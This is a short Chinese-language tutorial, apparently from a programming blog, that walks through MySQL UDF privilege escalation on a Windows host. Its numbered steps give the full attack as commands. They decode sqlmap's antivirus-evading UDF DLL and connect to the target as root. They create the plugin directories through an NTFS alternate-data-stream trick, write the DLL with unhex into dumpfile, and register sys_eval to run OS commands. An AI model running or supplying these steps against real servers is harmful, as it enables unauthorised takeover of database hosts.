1. 程式人生 > >MySQL UDF提權獲取主機控制權

MySQL UDF提權獲取主機控制權

安裝 系統 .py 執行 dex udf 操作 接口 use

UDF(User defined function)是MySQL的一個拓展接口,用來擴展MySQL的功能。在具備MySQL管理員訪問權限的條件下,可利用該特性進行提權,獲取所在主機的控制權。下面以windows主機為例,給出具體的步驟:

1、python clock.py -d -i lib_mysqludfsys.dll

此步是獲取攻擊用的UDF dll。首先要安裝sqlmap,然後運行上述命令即可得到解碼之後的UDF dll。(sqlmap對其進行編碼是為了免殺)

2、mysql -h target_ip -uroot -p

與目標MySQL建立連接

3、select version();

查看MySQL版本

4、select @@basedir;

查看MySQL的安裝目錄。假設為 c:\program files\mysql\mysql server 5.1

5、select @@plugin_dir;

查看MySQL的插件目錄。假設為c:\program files\mysql\mysql server 5.1\plugin

6、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION‘;

創建lib目錄

7、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION‘;


創建plugin目錄

8、select unhex(‘hex_of_udf.dll‘) into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";

創建udf.dll,上述命令中hex_of_udf.dll是udf.dll的十六進制文本,可用winhex等編輯軟件獲得

9、create function sys_eval returns string soname ‘udf.dll‘;

創建函數

10、select sys_eval(‘whoami‘);

執行shell命令,表明以獲取操作系統的控制權

MySQL UDF提權獲取主機控制權